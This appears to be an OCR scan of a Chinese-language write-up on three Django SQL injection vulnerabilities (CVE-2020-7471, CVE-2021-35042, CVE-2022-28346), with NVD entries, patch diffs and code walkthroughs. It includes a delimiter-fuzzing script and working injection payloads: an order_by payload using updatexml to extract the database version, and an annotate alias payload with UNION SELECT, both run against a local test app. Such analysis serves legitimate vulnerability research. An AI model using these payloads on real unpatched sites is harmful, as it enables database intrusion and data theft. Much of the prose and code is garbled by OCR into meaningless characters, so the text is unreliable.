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Django is a high—level Python web framework that encourages rapid development and clean, pragmatic design. Built by
experienced developers, it takes care of much of the hassle of web development, so you can focus on writing your app

without needing to reinvent the wheel. It’s free and open source.
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Django makes it easier to build better web apps more
quickly and with less code

Django is a high-level Python web framework that encourages rapid development and clean, pragmatic design. Built by experienced developers, DJANGO DOCUMENTATION »

it takes care of much of the hassle of web development, so you can focus on writing your app without needing to reinvent the wheel. Its free and

open sorce Support Django!

Ridiculously fast.

Django was designed to help pers take applications from concept s quickly as possible.

Latest news

Reassuringly secure. “The Call for Proposals for DjangoCan US 2022 I Now Open!
Django takes security seriously and helps developers avoid many common security mistakes,
The DiangoCon 2022 organizers are excited to announce the firstin-person
DiangoCon US since 2019

DjangoCon US Organizers on

Exceedingly scalable.

Some of the busiest sites on the web leverage Django’s ability to quickly and flexibly scale.
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Django 4.1 alpha 1 released
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Django 1.11 before 1.11.28, 2.2 before 2.2.10, and 3.0 before 3.0.3 allows SQL Injection if untrusted data is used as a
StringAgg delimiter (e.g., in Django applications that offer downloads of data as a series of rows with a user-specified
column delimiter). By passing a suitably crafted delimiter to a contrib.postgres.aggregates.StringAgg instance, it was

possible to break escaping and inject malicious SQL.

JKCVE-2020-7471 Detail
MODIFIED QUICK INFO

This vulnerability has been modified since it was last analyzed by the NVD. It is awaiting reanalysis which may result in further changes to CVE Dictionary Entry:
the information provided. CVE-2020-7471
NVD Published Date:

02/03/2020

Current Description NVD Last Modified:
Django 1.11 before 1.11.28, 2.2 before 2.2.10, and 3.0 before 3.0.3 allows SQL Injection if untrusted data is used as a StringAgg delimiter (e.g., 06/18/2020

in Django applications that offer downloads of data as a series of rows with a user-specified column delimiter). By passing a suitably crafted Source:
delimiter to a contrib.postgres.aggregates.StringAgg instance, it was possible to break escaping and inject malicious SQL. MITRE

+View Analysis Description

Severity

CVSS 3.x Severity and Metrics:

@ NIST: NVD Base Score: |ERTEIIENY Vector: CVSS:3.1/AV:N/AC:L/PRN/UEN/S:U/C:H/I:H/AH

ings and CVSS scores.
CVE List from the CNA.

he o P ] 5 e oot T

a score within the CVE List.

References to Advisories, Solutions, and Tools

By selecting these links, you will be leaving NIST webspace. We have provided these links to other web sites because they may have
information that would be of interest to you. No inferences should be drawn on account of other sites being referenced, or not, from this
page. There may be other web sites that are more appropriate for your purpose. NIST does not necessarily endorse the views expressed,



or concur with the facts presented on these sites. Further, NIST does not endorse any commercial products that may be mentioned on
these sites. Please address comments about this page to nvd@nist.gov.
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o BEZEBIRIMNE CVE-2020-7471 (https://github.com/H3rmesk1t/Django-SQL-Inject-Env/tree/main/CVE-
2020-7471) .

iR 3 AT

EREERPIRIEIZREENZ 02 StringAgg REREM delimiter SEEE SQL ENRE. B ERK Django B9 commit ig
&, EEAXNHEBE BT IUES, WEAEEAIT from django.contrib.postgres.aggregates import StringAgg HRIRZH.

Fixed CVE-2020-7471 -- Properly escaped StringAgg(delimiter) parameter.

Browse files
¥ main
© 41al .. 3121
(@ charettes authorad and carltongibson committed on 3 Feb 2020 1 parent 6617823 commit eb31d8453236180688204294700600a973056136
D showing 7 changed files with 45 additions and 5 deletions. Split | Unified
Q Fiter changed fies © 3 6 WMMNC djangocontrib/postares/agaregates/general.py (0}

~ M django/contrib/postgres/aggreg... HEDCI

#ron django. contrib.postgres. fields inport ArrayField, JSONField 1 from django.contrib.postgres. Fields import A 4, I5ONField
D generalpy o] 2+ from django.db.models inport Value
03 mixinspy @ 2 ron django.db.models.aggregates inport Aggregate 3 from django.db.models. sggregates import Aggregate
4
v docs/releases a from .mixins import Orde ggiixin 5 From .mixins import OrderableAggMixin
i
0 111288t b €@ -51,11 +52,12 @@ def convert_value(self, value, expression, connection)
0O 2210t 51
52 class StringAge(OrderableAggiixin, Aggregate 53 class Stringagg(Order ixin, Aggregate)
O 3038 o) hee( = egregate) ; ehee eeres
function = 'STRING_AGS sa function = "STRIN
O indextxt (o} sa - template = )5y iter)s g)s)* 55 . template = % (%(distinct)s¥(expressions)s %(ordering)s)*
55 allon_distinct = True 56
~ I tests/postgres_tests -
[ test aggregates.py o] B expression, deliniter, *<extra)
8 nit_(expression, delimiter-delimiter, *extra) = B
0 - t_(expression, deliniter_expr, **extra)
s &
60 def convert value(self, value, expression, connection): & rt_velue(self, value, expression, comnection)
61 5 not value i# ot value!
i
v tam django/ contrib/posteres/aggregates/mixins.py (B
1. @ -3,7 43,7 @
4 class Orderabledgglixin: a rablesgghiixin
6 - def _init_(self, expression, ordering=(), **extra): 6 +  cef _init_(self, expressions, orderin
7 £ not isinstance(ordering, (1ist, tuple))
ordering = [ordering]
s ordering = ordering or [] ordering = ordering or [
3 e 12,71 (se1f, expression, ordel
1 descending=True) if is 152 o) 12 (0rderBy(F(o[1:1), descending=True) if isinstance(o, str) and o[@] == '~' else o)

(https://xzfile.aliyuncs.com/media/upload/picture/20220603001235-d0a2940c—e28e-1.png)
BHBEBISIN from django.db.models import Value ARRY Value SEAMERFHENZENTRE:

delimiter_expr = Value(str(delimiter))
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fR#t django.db.models FPHY Value BKEY, fH)E4EF AILAFZI, Value PHERASIFOIENL/GHIZEIUAZI sql parameter list , <
KL Django REDIEHLEIRIIEIE, MTIREETE sql FENRIE.

=)
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BT RARENT StringAgg BEREM delimiter S, EEH AP INZREREHIT T IRE, BEFRESEMANESFE
F delimiter DFRRTHREAFEIE.

StringAgg

class StringAgg(expression, delimiter, distinct=False, filter=None, ordering=())

Returns the input values concatenated into a string, separated by the delimiter string.

delimiter

Required argument. Needs to be a string.

distinct

An optional boolean argument that determines if concatenated values will be distinct. Defaults to False.
ordering

Mew in Django 2.2,

An optional string of a field name (with an optional "-" prefix which indicates descending order) or an expression (or a tuple or list of strings and/or
expressions) that specifies the ordering of the elements in the result string.
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def fuzz():
symbol_str = "1@#$%A&*O_+=-I\\\"":;?2/>.<,{3[1"

for ¢ in symbol_str:

results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name',delimiter=c))

try:
for e in results:
pass
except IndexError:
pass
except Exception as err:
print("[+] REBER: ", err)
print("[+] WEDER: ",

[+] Current Djan
[+] RS i B (E "''') AS "mydefinedname" FROM "vuln_app_info" GROUP BY "vuln_app_info"."gender""
_app_info"."name", ''') AS "

[+] BHSBE:
([ 95235eHarmesk1t ~  ~\Desktop\Learning_sunmary\WebSec\PYTHON\Python#2£% > _Django SQLHEA W ¥d\vuln_env JTTELIY 3.8.8
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RIBREEER, T _execute RENPITHIS.

python .\exp.py
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HEDHTEIREDIEIRS, HIT Fuzz BIE, MWEIMAT delimiter HBZ|SEMEM sql .
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BFLE sql BTFRE, ASTERYS, 1% sql 1BETE postgres FIIHITIEEN:

SELECT "vuln_app_info"."gender", STRING_AGG("vuln_app_info"."name", ''') AS "mydefinedname" FROM "vuln_app_info" GROUP

non

BY "wvuln_app_info"."gender"

BERIE delimiter IRERN D-- , FEEIFEGENEY, EEREEE, JUSRMRINIRT rrov 54
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& exp WF:

-\") AS "demoname" FROM "vuln_app_info" GROUP BY "vuln_app_info"."gender" LIMIT 1 OFFSET 1 --
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Django 3.1.x before 3.1.13 and 3.2.x before 3.2.5 allows QuerySet.order_by SQL injection if order_by is untrusted input
from a client of a web application.

JXCVE-2021-35042 Detail

inti UICKINFO
Current Description Q
Django 3.1.x before 3.1.13 and 3.2.x before 3.2.5 allows QuerySet.order_by SQL injection if order_by is untrusted input from a client of a web CVE Dictionary Entry:
application. CVE-2021-35042
NVD Published Date:
07/02/2021

+View Analysis Description NVD Last Modified:

i fersion 3.x s version 09/21/2021
Severity

Source:
CVSS 3.x Severity and Metrics: MITRE
\\ i NIST: NVD Base score: Vector: CVSS:3.1/AV:N/AC:L/PR:N/UL:N/S:U/C:H/I:H/A:H

ings and CVSS scores.
CVE List from the CNA.

he o P ] 5 gy A,

4

a score within the CVE List.

References to Advisories, Solutions, and Tools

By selecting these links, you will be leaving NIST webspace. We have provided these links to other web sites because they may have
information that would be of interest to you. No inferences should be drawn on account of other sites being referenced, or not, from this
page. There may be other web sites that are more appropriate for your purpose. NIST does not necessarily endorse the views expressed,
or concur with the facts presented on these sites. Further, NIST does not endorse any commercial products that may be mentioned on
these sites. Please address comments about this page to nvd@nist.gov.

I "
https://docs.djangoproject.com/en/3.2/releases/security, [ Patch )

https://lists.fedoraproject.org/archives/list/package-

announce@lists.fedoraproject.org/message/SS6NJTBYWOX6J7G4U3LUOILARJKWPQSY)
https://security.netapp.com/advisory/ntap-20210805-0008/
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RIEREER, HTIRH order_by HREX, ZRESTHEAT clear_ordering RELEIRT Query EHH self.order_by S, HEH
FB add_ordering EREXIEHN self.order_by SE{.

order_by(

(https://xzfile.aliyuncs.com/media/upload/picture/20220603001412-0a58b74e—e28f-1.png)
BT order_by REUENNSHNHA, RAFETZEKSHORBIINE sou BTWMT:

query = request.GET.get('order_by', default='vuln')
res = User.objects.order_by(query)

SELECT "app_user"."vuln", "app_user"."order_by" FROM "app_user" ORDER BY "app_user"."order_by" ASC, "app_user"."vuln" A
SC

BR#t add_ordering EREL, BRERXS ordering MUBJAZFHAT T HIMT, MR item NFRFH, MAREHITIU T HIRFIMT:
S s s L MIINEE SRMAHTRIAAISYD ca SRR AMCEMSISS S S AT MRAN o .~ ANA+R

° 1T . IN 1Tem : FUMITEET/YTYURYE W, YL IEWHHJGITICHIMIAETRTIRYY Y, DIXH Order by (User.name) , GHIRIE
user R THY name FERHITHEF. 127375 7E Django 4.0 ZEHMIR, EULLHIBTAIN ZEBEIE warning Z&E, ZE#H

1T continue .

o if item=="'?' : H item WENFEFE ? I, WRIRE order by BEN RANDQ , RTFENET soL iEEAIREIER
&, ZI5#1T continue .

o if item.startswith('-') : H item FFLAFERFE - B, ME order by EIHILERIEZE L DESC , RBERHIT, AR
FREMSELE Asc EFHT, BRERFLN - &FS.

if item in self.annotations : FIBTEMREHE EBRINRRT, BAIEEE continue .

if self.extra and item in self.extra :¥U|*ﬁ%§ﬁ§m9ﬁﬂ:‘\ﬂﬂ, BEHIEEE continue .

ZERRABTZIE, HAE self.names_to_path(item.split(LOOKUP_SEP), self.model._meta) PRENFIBTHAIMN item BHABR
HI5IR, ZEBFBR ordering fEANEI Query EFM self.order_by SEXFHITELEEAMIE.

er Mode
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EE—RABTE, if "' in item BITHIBTEEGSHAIR order by EIHAEREBIFHRABMAMMAERNFTIINE, BERHES T
KNEWZGE, MRATENFREWNUHIT continue , M continue MEIEBKITT self.names_to_path RINIFIRIBRIHIEE. IR
B FR S . RIS, LT XM django/db/models/sql/compiler.py HY get_order_by BRER, #Z/OMURBANIT:

if '.' in field:
table, col = col.split('.', 1)
order_by.append((
OrderBy(
RawSQL('%s.%s' % (self.quote_name_unless_alias(table), col), [1),
descending=descending
), False))
continue

ERREZH, FEL self.quote_name_unless_alias LMERR, EIHHERFHRNBFEITIRBERNKS, MEENSIEWSFARZTT
g, WA BAMEHASIEa#IT saL iEA.

S app_user.name) -- REZBENBIBENIETN:

SELECT “app_user’. id", “app_user . name  FROM “app_user’ ORDER BY (“app_user’.name) --) ASC LIMIT 21

FERAES ) #THEZEHTHEEN, BERM payload 21T http://127.0.0.1:8000/vuln/?
order_by=vuln_app_user.name);select%2@updatexml(1,%2@concat(@x7e,(select%20@@version)),1)%23



. ® @] | Eements Sourct : Console  HackBar » ©1 B1 & X
OperationalError at /vuln/ X () Pox —_—
(1105, "XPATH syntax error: '~5.7.26') OO ST [ XSS - LFI - SSTI -  SHELL
Request Method: GET B
Request URL: r_by=vuln_app_L 1 )1)%23 - Y
= % 1.2%20concat(0
ST 55 http://localhost:8000/vuln/?order_by=vuln_app_user. e,
Exception Type: OperstionalError (select%20@@version)),1)%23
Exception Value: (1105, "XPATH syntax error: '76.7.26'")
Exception Location: Ldby line 137, in nextset
Python Executable: CiTosls\anaconda3\python.exe e POST
Python Version: 3.88
Python Path: ['C: =3
* SQLE AR \ruln_env\\CVE-2021-35042",
’C:\iTools\\anaconda3} \python3s. zip’,
C:\WTools\\amaconda3
C:\WTools\ Yanaconds3\ Vb, ADD HEADER
C:WorLe\anacondad’
c >
[ 1py3.8. ez,
[ 0.2, 1-py3. 8. eze’
[ ,
c Z
g 3}
Server time: Thu, 02 Jun 2022 21:23:11 -0500
Traceback Switch to copy-and.
c o, line 47, in inner
47, response = get_response(request)
Console  What's New Issues x
» Local vars —_—
[P © topY @ | Filter
c v, line 181, in_get_response.
5000/ vuln
181 response = wrapped_callback(request, *callback_args, ##callback kwargs)
» Local vars >
c = SULSEATER vula_eav\CVE-2021-35042\vali_sgphvi evs. 3, ine 24, in vuln
2. retun HetpResponse(res. values()
» Local vars
c oy, line 331, in _init_
£ sel. cantent = content
» Local vars
c o, line 357, in content
35T, content = b join(self make bytes(churk) for churk in value)
» Local vars
c oy, line 280, in _iter_
280. self. _fetch all()
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An issue was discovered in Django 2.2 before 2.2.28, 3.2 before 3.2.13, and 4.0 before 4.0.4. QuerySet.annotate(),

. n ' PEEVAN o ' e C e A e .. . ' i . P B T £oean e e

aggregatel), and extral) metnods are supject 10 SUWL Injection In column allases via a crarted dictuonary (with aictionary

expansion) as the passed **kwargs.

JKCVE-2022-28346 Detail

inti UICKINFO
Current Description Q
An issue was discovered in Django 2.2 before 2.2.28, 3.2 before 3.2.13, and 4.0 before 4.0.4. QuerySet.annotate(), aggregate(), and extra() CVE Dictionary Entry:
methods are subject to SQL injection in column aliases via a crafted dictionary (with dictionary expansion) as the passed **kwargs. CVE-2022-28346
NVD Published Date:
04/12/2022

+View Analysis Description

NVD Last Modified:

i S Version 3.x s version 04/19/2022
Severity

Source:

CVSS 3.x Severity and Metrics: MITRE

@ NIST: NVD Base Score:

Vector: CVSS:3.1/AV:N/AC:L/PR:N/ULN/S:U/C:H/IH/AH

CVE List from the CNA.

VsS score for this. i ilable i ion at the ti lysis. The cNA
a score within the CVE List.

References to Advisories, Solutions, and Tools

By selecting these links, you will be leaving NIST webspace. We have provided these links to other web sites because they may have
information that would be of interest to you. No inferences should be drawn on account of other sites being referenced, or not, from this
page. There may be other web sites that are more appropriate for your purpose. NIST does not necessarily endorse the views expressed,
or concur with the facts presented on these sites. Further, NIST does not endorse any commercial products that may be mentioned on
these sites. Please address comments about this page to nvd@nist.gov.

Ciperime e ]
il lcom! t/202/04/111 D D GERIED
https://docs.djangoproject.com/en/4.0/releases/security/ [ Patch )
https://lists.debian.org/debian-lts-announce/2022/04/msgo0013.html
ps:/) t.com/\ 12022/apr/11/sect D CEEED
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B Django MY commit B3R, B HNANEERIBHR T LABEINLAE .

es.py (&

k4 _aggregation_random_ordering(self):
340 1, 1340 ('Stuart Russell’, 1),
341 ig, 2), 1361 ('Peter N .2,
342 (a.name, a.contact_count), ordered=False) 1342 1, lanbda a: (a.name, a.contact_count), ordered=False)
1343
1344 - est_alias_:
1385 - crafted_alias = ame" from “aggregation_author®; --"""
1346+ msg = (
1347 = "Column aliases cannot contain whitespace characters, quotation marks, "
1348 - "semicolons, or SQL comments.”
1349+ )
1350+ wi
1351+
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HiREHERA, BERER annotate REL, £ annotate REIPELSEA _annotate HIEN kwargs .
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annotate PRERTESTARXY kwargs.values() BIEMRIEF—RINRIERS, 1§ kwargs FFZ annotations A, FE/F&EH
annotations HRYTTEIARA add_annotation HITHUERS.
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BR#t add_annotation BREK, HEEEHA resolve_expression FRTRIAR, HIAHRBIEANRESHHITHRNINE.

add_annotation(

(https://xzfile.aliyuncs.com/media/upload/picture/20220603001513-2ee19004-e28f-1.png)

PREEIRH, RARHANE db.models.sql.query.py:resolve_ref , resolve_ref SIREY annotations FHITTE, HEHEMRETA
TGP, REEHLERBET transform_function BEEI— Col XIHRH.



(https://xzfile.aliyuncs.com/media/upload/picture/20220603001520-3323e914-e28f-1.png)

$%%&, JR[A] db.models.query.py:_annotate , H4T sql &G, SBERIREIF QuerySet FHITRT.

Amoount of users: Admin

X | e
Amoount of users: 3.35.4

nceinsights & Console  HackBar  »

B2 | & i X
LOAD  SPLIT  EXECUTE  TEST -  sQUl - XSS -

LFI - SSTI -  SHELL

h\{p ://localhost:8000/demo/?

field=demo.name%22%20FROM%20%22demo_user%22%20union%20SELECT%20%221%22,sqlite_versio
n(),%223%22%20--

Enable POST

ADD HEADER

sves: B2 | | %
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CVE-2020-7471 iBRIFA o RIELAK POC (https://xz.aliyun.com/t/7218#toc-3)

Django CVE-2021-35042 order_by SQL JEANZ 1 (https://xz.aliyun.com/t/9834#toc-4)
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